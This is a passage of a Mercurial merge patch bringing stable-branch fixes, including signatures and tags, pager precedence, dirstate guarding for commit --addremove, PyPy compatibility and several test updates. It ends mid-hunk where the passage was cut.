 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
+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
diff --git a/.hgtags b/.hgtags
--- a/.hgtags
+++ b/.hgtags
@@ -160,3 +160,5 @@
 c850f0ed54c1d42f9aa079ad528f8127e5775217 4.2.1
 26c49ed51a698ec016d2b4c6b44ca3c3f73cc788 4.2.2
 857876ebaed4e315f63157bd157d6ce553c7ab73 4.3-rc
+5544af8622863796a0027566f6b646e10d522c4c 4.3
+943c91326b23954e6e1c6960d0239511f9530258 4.2.3
diff --git a/README b/README
--- a/README
+++ b/README
@@ -4,14 +4,14 @@
 Mercurial is a fast, easy to use, distributed revision control tool
 for software developers.
 
-Basic install:
+Basic install::
 
  $ make            # see install targets
  $ make install    # do a system-wide install
  $ hg debuginstall # sanity-check setup
  $ hg              # see help
 
-Running without installing:
+Running without installing::
 
  $ make local      # build for inplace usage
  $ ./hg --version  # should show the latest version
diff --git a/contrib/chg/Makefile b/contrib/chg/Makefile
--- a/contrib/chg/Makefile
+++ b/contrib/chg/Makefile
@@ -5,7 +5,7 @@
 OBJS = $(SRCS:.c=.o)
 
 CFLAGS ?= -O2 -Wall -Wextra -pedantic -g
-CPPFLAGS ?= -D_FORTIFY_SOURCE=2
+CPPFLAGS ?= -D_FORTIFY_SOURCE=2 -D_GNU_SOURCE
 override CFLAGS += -std=gnu99
 ifdef HGPATH
 override CPPFLAGS += -DHGPATH=\"$(HGPATH)\"
diff --git a/contrib/docker/centos5 b/contrib/docker/centos5
--- a/contrib/docker/centos5
+++ b/contrib/docker/centos5
@@ -1,4 +1,7 @@
 FROM centos:centos5
+RUN sed -i 's/^mirrorlist/#mirrorlist/' /etc/yum.repos.d/*.repo
+RUN sed -i 's/^#\(baseurl=\)http:\/\/mirror.centos.org\/centos/\1http:\/\/vault.centos.org/' /etc/yum.repos.d/*.repo
+RUN sed -i 's/\$releasever/5.11/' /etc/yum.repos.d/*.repo
 RUN yum install -y gcc make rpm-build gettext tar
 RUN yum install -y python-devel python-docutils
 # For creating repo meta data
diff --git a/hgext/rebase.py b/hgext/rebase.py
--- a/hgext/rebase.py
+++ b/hgext/rebase.py
@@ -472,7 +472,7 @@
                 commitmsg = self.collapsemsg
             else:
                 commitmsg = 'Collapsed revision'
-                for rebased in self.state:
+                for rebased in sorted(self.state):
                     if rebased not in self.skipped and\
                        self.state[rebased] > nullmerge:
                         commitmsg += '\n* %s' % repo[rebased].description()
diff --git a/i18n/hggettext b/i18n/hggettext
--- a/i18n/hggettext
+++ b/i18n/hggettext
@@ -112,14 +112,20 @@
 
     for func, rstrip in functions:
         if func.__doc__:
+            funcmod = inspect.getmodule(func)
+            extra = ''
+            if funcmod.__package__ == funcmod.__name__:
+                extra = '/__init__'
+            actualpath = '%s%s.py' % (funcmod.__name__.replace('.', '/'), extra)
+
             src = inspect.getsource(func)
-            name = "%s.%s" % (path, func.__name__)
+            name = "%s.%s" % (actualpath, func.__name__)
             lineno = inspect.getsourcelines(func)[1]
             doc = func.__doc__
             if rstrip:
                 doc = doc.rstrip()
             lineno += offset(src, doc, name, 1)
-            print(poentry(path, lineno, doc))
+            print(poentry(actualpath, lineno, doc))
 
 
 def rawtext(path):
diff --git a/mercurial/cmdutil.py b/mercurial/cmdutil.py
--- a/mercurial/cmdutil.py
+++ b/mercurial/cmdutil.py
@@ -26,6 +26,7 @@
     changelog,
     copies,
     crecord as crecordmod,
+    dirstateguard,
     encoding,
     error,
     formatter,
@@ -2889,14 +2890,23 @@
     message = logmessage(ui, opts)
     matcher = scmutil.match(repo[None], pats, opts)
 
+    dsguard = None
     # extract addremove carefully -- this function can be called from a command
     # that doesn't support addremove
-    if opts.get('addremove'):
-        if scmutil.addremove(repo, matcher, "", opts) != 0:
-            raise error.Abort(
-                _("failed to mark all new/missing files as added/removed"))
-
-    return commitfunc(ui, repo, message, matcher, opts)
+    try:
+        if opts.get('addremove'):
+            dsguard = dirstateguard.dirstateguard(repo, 'commit')
+            if scmutil.addremove(repo, matcher, "", opts) != 0:
+                raise error.Abort(
+                    _("failed to mark all new/missing files as added/removed"))
+
+        r = commitfunc(ui, repo, message, matcher, opts)
+        if dsguard:
+            dsguard.close()
+        return r
+    finally:
+        if dsguard:
+            dsguard.release()
 
 def samefile(f, ctx1, ctx2):
     if f in ctx1.manifest():
diff --git a/mercurial/dispatch.py b/mercurial/dispatch.py
--- a/mercurial/dispatch.py
+++ b/mercurial/dispatch.py
@@ -828,6 +828,7 @@
             color.setup(ui_)
 
         if util.parsebool(options['pager']):
+            # ui.pager() expects 'internal-always-' prefix in this case
             ui.pager('internal-always-' + cmd)
         elif options['pager'] != 'auto':
             ui.disablepager()
diff --git a/mercurial/pycompat.py b/mercurial/pycompat.py
--- a/mercurial/pycompat.py
+++ b/mercurial/pycompat.py
@@ -16,6 +16,7 @@
 import sys
 
 ispy3 = (sys.version_info[0] >= 3)
+ispypy = (r'__pypy__' in sys.builtin_module_names)
 
 if not ispy3:
     import cookielib
diff --git a/mercurial/ui.py b/mercurial/ui.py
--- a/mercurial/ui.py
+++ b/mercurial/ui.py
@@ -945,8 +945,14 @@
                    not "history, "summary" not "summ", etc.
         """
         if (self._disablepager
-            or self.pageractive
-            or command in self.configlist('pager', 'ignore')
+            or self.pageractive):
+            # how pager should do is already determined
+            return
+
+        if not command.startswith('internal-always-') and (
+            # explicit --pager=on (= 'internal-always-' prefix) should
+            # take precedence over disabling factors below
+            command in self.configlist('pager', 'ignore')
             or not self.configbool('ui', 'paginate')
             or not self.configbool('pager', 'attend-' + command, True)
             # TODO: if we want to allow HGPLAINEXCEPT=pager,
@@ -1209,6 +1215,7 @@
         # call write() so output goes through subclassed implementation
         # e.g. color extension on Windows
         self.write(prompt, prompt=True)
+        self.flush()
 
         # instead of trying to emulate raw_input, swap (self.fin,
         # self.fout) with (sys.stdin, sys.stdout)
diff --git a/mercurial/util.py b/mercurial/util.py
--- a/mercurial/util.py
+++ b/mercurial/util.py
@@ -584,6 +584,14 @@
             del self[key]
         super(sortdict, self).__setitem__(key, value)
 
+    if pycompat.ispypy:
+        # __setitem__() isn't called as of PyPy 5.8.0
+        def update(self, src):
+            if isinstance(src, dict):
+                src = src.iteritems()
+            for k, v in src:
+                self[k] = v
+
 @contextlib.contextmanager
 def acceptintervention(tr=None):
     """A context manager that closes the transaction on InterventionRequired
diff --git a/tests/pdiff b/tests/pdiff
--- a/tests/pdiff
+++ b/tests/pdiff
@@ -41,6 +41,9 @@
     diff -u "$file1" "$file2" |
     sed "s@^--- /dev/null\(.*\)\$@--- $1\1@" |
     sed "s@^\+\+\+ /dev/null\(.*\)\$@+++ $2\1@"
+
+    # in this case, files differ from each other
+    return 1
 }
 
 if test -d "$1" -o -d "$2"; then
@@ -53,6 +56,14 @@
     while read file; do
         filediff "$1/$file" "$2/$file" "diff -Nru $1/$file $2/$file"
     done
+
+    # TODO: there is no portable way for current while-read based
+    # implementation to return 1 at detecting changes.
+    #
+    # On bash and dash, assignment to variable inside while-block
+    # doesn't affect outside, because inside while-block is executed
+    # in sub-shell. BTW, it affects outside while-block on ksh (as sh
+    # on Solaris).
 else
     filediff "$1" "$2"
 fi
diff --git a/tests/test-cache-abuse.t b/tests/test-cache-abuse.t
--- a/tests/test-cache-abuse.t
+++ b/tests/test-cache-abuse.t
@@ -47,21 +47,21 @@
   >  echo bad > $CACHE
   >  test -z "$CLEAN" || $CLEAN
   >  hg $CMD > after
-  >  diff -u before after || echo "*** overwrite corruption"
+  >  "$RUNTESTDIR/pdiff" before after || echo "*** overwrite corruption"
   >  echo corruption >> $CACHE
   >  test -z "$CLEAN" || $CLEAN
   >  hg $CMD > after
-  >  diff -u before after || echo "*** append corruption"
+  >  "$RUNTESTDIR/pdiff" before after || echo "*** append corruption"
   >  rm $CACHE
   >  mkdir $CACHE
   >  test -z "$CLEAN" || $CLEAN
   >  hg $CMD > after
-  >  diff -u before after || echo "*** read-only corruption"
+  >  "$RUNTESTDIR/pdiff" before after || echo "*** read-only corruption"
   >  test -d $CACHE || echo "*** directory clobbered"
   >  rmdir $CACHE
   >  test -z "$CLEAN" || $CLEAN
   >  hg $CMD > after
-  >  diff -u before after || echo "*** missing corruption"
+  >  "$RUNTESTDIR/pdiff" before after || echo "*** missing corruption"
   >  test -f $CACHE || echo "not rebuilt"
   > }
 
diff --git a/tests/test-commit.t b/tests/test-commit.t
--- a/tests/test-commit.t
+++ b/tests/test-commit.t
@@ -147,6 +147,18 @@
   oldhash=bar
   sourcehash=foo
 
+Failed commit with --addremove should not update dirstate
+
+  $ echo foo > newfile
+  $ hg status
+  ? newfile
+  $ HGEDITOR=false hg ci --addremove
+  adding newfile
+  abort: edit failed: false exited with status 1
+  [255]
+  $ hg status
+  ? newfile
+
 Make sure we do not obscure unknown requires file entries (issue2649)
 
   $ echo foo >> foo
diff --git a/tests/test-extdiff.t b/tests/test-extdiff.t
--- a/tests/test-extdiff.t
+++ b/tests/test-extdiff.t
@@ -263,8 +263,16 @@
 will change to /tmp/extdiff.TMP and populate directories a.TMP and a
 and start tool
 
+#if windows
+  $ cat > 'diff tool.bat' << EOF
+  > @$PYTHON "`pwd`/diff tool.py"
+  > EOF
+  $ hg extdiff -p "`pwd`/diff tool.bat"
+  [1]
+#else
   $ hg extdiff -p "`pwd`/diff tool.py"
   [1]
+#endif
 
 Diff in working directory, after:
 
diff --git a/tests/test-extension.t b/tests/test-extension.t
--- a/tests/test-extension.t
+++ b/tests/test-extension.t
@@ -245,6 +245,7 @@
 
 #if no-py3k
   $ rm "$TESTTMP"/extroot/foo.*
+  $ rm -Rf "$TESTTMP/extroot/__pycache__"
   $ cat > $TESTTMP/extroot/foo.py <<EOF
   > # test relative import
   > buf = []
@@ -1238,6 +1239,7 @@
 If the extension specifies a buglink, show that:
   $ echo 'buglink = "http://example.com/bts"' >> throw.py
   $ rm -f throw.pyc throw.pyo
+  $ rm -Rf __pycache__
   $ hg --config extensions.throw=throw.py throw 2>&1 | egrep '^\*\*'
   ** Unknown exception encountered with possibly-broken third-party extension throw
   ** which supports versions unknown of Mercurial.
@@ -1253,6 +1255,7 @@
   $ echo "testedwith = '1.9.3'" >> older.py
   $ echo "testedwith = '2.1.1'" >> throw.py
   $ rm -f throw.pyc throw.pyo
+  $ rm -Rf __pycache__
   $ hg --config extensions.throw=throw.py --config extensions.older=older.py \
   >   throw 2>&1 | egrep '^\*\*'
   ** Unknown exception encountered with possibly-broken third-party extension older
@@ -1266,6 +1269,7 @@
 One extension only tested with older, one only with newer versions:
   $ echo "util.version = lambda:'2.1'" >> older.py
   $ rm -f older.pyc older.pyo
+  $ rm -Rf __pycache__
   $ hg --config extensions.throw=throw.py --config extensions.older=older.py \
   >   throw 2>&1 | egrep '^\*\*'
   ** Unknown exception encountered with possibly-broken third-party extension older
@@ -1279,6 +1283,7 @@
 Older extension is tested with current version, the other only with newer:
   $ echo "util.version = lambda:'1.9.3'" >> older.py
   $ rm -f older.pyc older.pyo
+  $ rm -Rf __pycache__
   $ hg --config extensions.throw=throw.py --config extensions.older=older.py \
   >   throw 2>&1 | egrep '^\*\*'
   ** Unknown exception encountered with possibly-broken third-party extension throw
@@ -1305,6 +1310,7 @@
   >   echo "unable to fetch a mercurial version. Make sure __version__ is correct";
   > fi
   $ rm -f throw.pyc throw.pyo
+  $ rm -Rf __pycache__
   $ hg --config extensions.throw=throw.py throw 2>&1 | egrep '^\*\*'
   ** unknown exception encountered, please report by visiting
   ** https://mercurial-scm.org/wiki/BugTracker
@@ -1316,6 +1322,7 @@
   $ echo "testedwith = '3.2'" >> throw.py
   $ echo "util.version = lambda:'3.2.2'" >> throw.py
   $ rm -f throw.pyc throw.pyo
+  $ rm -Rf __pycache__
   $ hg --config extensions.throw=throw.py throw 2>&1 | egrep '^\*\*'
   ** unknown exception encountered, please report by visiting
   ** https://mercurial-scm.org/wiki/BugTracker
@@ -1326,6 +1333,7 @@
 Test version number support in 'hg version':
   $ echo '__version__ = (1, 2, 3)' >> throw.py
   $ rm -f throw.pyc throw.pyo
+  $ rm -Rf __pycache__
   $ hg version -v
   Mercurial Distributed SCM (version *) (glob)
   (see https://mercurial-scm.org for more information)
@@ -1350,6 +1358,7 @@
     throw  external  1.2.3
   $ echo 'getversion = lambda: "1.twentythree"' >> throw.py
   $ rm -f throw.pyc throw.pyo
+  $ rm -Rf __pycache__
   $ hg version -v --config extensions.throw=throw.py --config extensions.strip=
   Mercurial Distributed SCM (version *) (glob)
   (see https://mercurial-scm.org for more information)
@@ -1674,7 +1683,7 @@
 
 Even though the extension fails during uisetup, hg is still basically usable:
   $ hg version
-  *** failed to set up extension baduisetup: No module named bdiff
+  \*\*\* failed to set up extension baduisetup: No module named (mercurial\.)?bdiff (re)
   Mercurial Distributed SCM (version *) (glob)
   (see https://mercurial-scm.org for more information)
   
@@ -1696,8 +1705,8 @@
       mod = _hgextimport(_origimport, head, globals, locals, None, level)
     File "*/hgdemandimport/demandimportpy2.py", line *, in _hgextimport (glob)
       return importfunc(name, globals, *args, **kwargs)
-  ImportError: No module named bdiff
-  *** failed to set up extension baduisetup: No module named bdiff
+  ImportError: No module named (mercurial\.)?bdiff (re)
+  \*\*\* failed to set up extension baduisetup: No module named (mercurial\.)?bdiff (re)
   Mercurial Distributed SCM (version *) (glob)
   (see https://mercurial-scm.org for more information)
   
diff --git a/tests/test-flagprocessor.t b/tests/test-flagprocessor.t
--- a/tests/test-flagprocessor.t
+++ b/tests/test-flagprocessor.t
@@ -152,6 +152,7 @@
   $ hg commit -Aqm 'fail+base64+gzip+noop'
   abort: missing processor for flag '0x1'!
   [255]
+  $ rm fail-base64-gzip-noop
 
 # TEST: ensure we cannot register several flag processors on the same flag
   $ cat >> .hg/hgrc << EOF
@@ -159,11 +160,11 @@
   > extension=$TESTDIR/flagprocessorext.py
   > duplicate=$TESTDIR/flagprocessorext.py
   > EOF
-  $ echo 'this should fail' > file
-  $ hg commit -Aqm 'add file'
+  $ hg debugrebuilddirstate
   *** failed to set up extension duplicate: cannot register multiple processors on flag '0x8'.
-  abort: missing processor for flag '0x1'!
-  [255]
+  $ hg st 2>&1 | egrep 'cannot register multiple processors|flagprocessorext'
+  *** failed to set up extension duplicate: cannot register multiple processors on flag '0x8'.
+    File "*/tests/flagprocessorext.py", line *, in b64decode (glob)
 
   $ cd ..
 
diff --git a/tests/test-pager.t b/tests/test-pager.t
--- a/tests/test-pager.t
+++ b/tests/test-pager.t
@@ -80,6 +80,34 @@
   paged! 'summary:     modify a 10\n'
   paged! '\n'
 
+explicit --pager=on should take precedence over other configurations
+(issue5580)
+
+  $ cat >> $HGRCPATH <<EOF
+  > [ui]
+  > paginate = false
+  > EOF
+  $ hg log --limit 1 --pager=on
+  paged! 'changeset:   10:46106edeeb38\n'
+  paged! 'tag:         tip\n'
+  paged! 'user:        test\n'
+  paged! 'date:        Thu Jan 01 00:00:00 1970 +0000\n'
+  paged! 'summary:     modify a 10\n'
+  paged! '\n'
+
+  $ cat >> $HGRCPATH <<EOF
+  > [ui]
+  > # true is default value of ui.paginate
+  > paginate = true
+  > EOF
+  $ hg log --limit 1 --pager=off
+  changeset:   10:46106edeeb38
+  tag:         tip
+  user:        test
+  date:        Thu Jan 01 00:00:00 1970 +0000
+  summary:     modify a 10
+  
+
 We can enable the pager on id:
 
 BROKEN: should be paged
diff --git a/tests/test-progress.t b/tests/test-progress.t
--- a/tests/test-progress.t
+++ b/tests/test-progress.t
@@ -312,6 +312,7 @@
 from each other.
 
   $ rm -f loop.pyc
+  $ rm -Rf __pycache__
   $ cat >> loop.py <<EOF
   > # use non-ascii characters as loop items of progress
   > loopitems = [
diff --git a/tests/test-revlog-raw.py b/tests/test-revlog-raw.py
--- a/tests/test-revlog-raw.py
+++ b/tests/test-revlog-raw.py
@@ -144,12 +144,18 @@
             text = None
             cachedelta = (deltaparent, rlog.revdiff(deltaparent, r))
         flags = rlog.flags(r)
-        ifh = dlog.opener(dlog.indexfile, 'a+')
-        dfh = None
-        if not dlog._inline:
-            dfh = dlog.opener(dlog.datafile, 'a+')
-        dlog._addrevision(rlog.node(r), text, tr, r, p1, p2, flags, cachedelta,
-                          ifh, dfh)
+        ifh = dfh = None
+        try:
+            ifh = dlog.opener(dlog.indexfile, 'a+')
+            if not dlog._inline:
+                dfh = dlog.opener(dlog.datafile, 'a+')
+            dlog._addrevision(rlog.node(r), text, tr, r, p1, p2, flags,
+                              cachedelta, ifh, dfh)
+        finally:
+            if dfh is not None:
+                dfh.close()
+            if ifh is not None:
+                ifh.close()
     return dlog
 
 # Utilities to generate revisions for testing
diff --git a/tests/test-username-newline.t b/tests/test-username-newline.t
--- a/tests/test-username-newline.t
+++ b/tests/test-username-newline.t
@@ -14,10 +14,12 @@
   $ rm .hg/hgrc
 
   $ HGUSER=`(echo foo; echo bar2)` hg ci -Am m
+  adding a
   abort: username 'foo\nbar2' contains a newline
   
   [255]
   $ hg ci -Am m -u "`(echo foo; echo bar3)`"
+  adding a
   transaction abort!
   rollback completed
   abort: username 'foo\nbar3' contains a newline!
# HG changeset patch
# User Augie Fackler <augie@google.com>
# Date 1502405733 14400
#      Thu Aug 10 18:55:33 2017 -0400
# Node ID 02a745c20121f9add702f0200dc5522e912c2d20
# Parent  86aca74a063bdd3e9627f069568322981f4dee68
# Parent  a3ce07e2dde5737644dd719806b1e52fb1cc1004
merge with stable

diff --git a/.hgsigs b/.hgsigs
--- a/.hgsigs
+++ b/.hgsigs
@@ -149,3 +149,4 @@
 857876ebaed4e315f63157bd157d6ce553c7ab73 0 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
+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
diff --git a/.hgtags b/.hgtags
--- a/.hgtags
+++ b/.hgtags
@@ -162,3 +162,4 @@
 857876ebaed4e315f63157bd157d6ce553c7ab73 4.3-rc
 5544af8622863796a0027566f6b646e10d522c4c 4.3
 943c91326b23954e6e1c6960d0239511f9530258 4.2.3
+3fee7f7d2da04226914c2258cc2884dc27384fd7 4.3.1
diff --git a/hgext/fsmonitor/__init__.py b/hgext/fsmonitor/__init__.py
--- a/hgext/fsmonitor/__init__.py
+++ b/hgext/fsmonitor/__init__.py
@@ -382,7 +382,7 @@
             visit.update(f for f in copymap
                          if f not in results and matchfn(f))
 
-    audit = pathutil.pathauditor(self._root).check
+    audit = pathutil.pathauditor(self._root, cached=True).check
     auditpass = [f for f in visit if audit(f)]
     auditpass.sort()
     auditfail = visit.difference(auditpass)
diff --git a/mercurial/cmdutil.py b/mercurial/cmdutil.py
--- a/mercurial/cmdutil.py
+++ b/mercurial/cmdutil.py
@@ -3539,7 +3539,7 @@
